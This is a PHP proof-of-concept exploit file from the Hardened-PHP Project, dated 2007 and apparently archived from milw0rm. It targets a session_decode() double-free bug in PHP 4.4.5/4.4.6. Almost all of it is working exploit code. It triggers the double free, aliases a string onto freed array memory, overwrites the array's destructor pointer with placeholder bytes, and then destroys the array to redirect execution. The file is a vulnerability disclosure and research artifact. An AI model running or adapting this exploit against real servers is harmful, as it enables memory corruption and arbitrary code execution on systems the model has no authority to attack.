477bcbdcc0
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42 lines
1.7 KiB
PHP
Executable file
42 lines
1.7 KiB
PHP
Executable file
<?php
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////////////////////////////////////////////////////////////////////////
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// _ _ _ _ ___ _ _ ___ //
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// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
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// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
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// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
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// //
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// Proof of concept code from the Hardened-PHP Project //
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// (C) Copyright 2007 Stefan Esser //
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// //
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////////////////////////////////////////////////////////////////////////
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// PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability //
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////////////////////////////////////////////////////////////////////////
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// This is meant as a protection against remote file inclusion.
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die("REMOVE THIS LINE");
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ini_set("session.serialize_handler", "php");
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session_start();
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$varname = str_repeat("D", 39);
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$$varname = &$_SESSION;
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// Trigger the double free
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session_decode($varname.'|i:0;');
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$_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
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$_________________a = array("OneElement");
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// Now x and a point to the same memory. Therefore x can be used to modify a
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// Overwrite pointer to the destructor
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$_________________x[8*4+0] = chr(0x55);
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$_________________x[8*4+1] = chr(0x66);
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$_________________x[8*4+2] = chr(0x77);
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$_________________x[8*4+3] = chr(0x88);
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// Trigger the destruction
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unset($_________________a);
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?>
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# milw0rm.com [2007-03-27]
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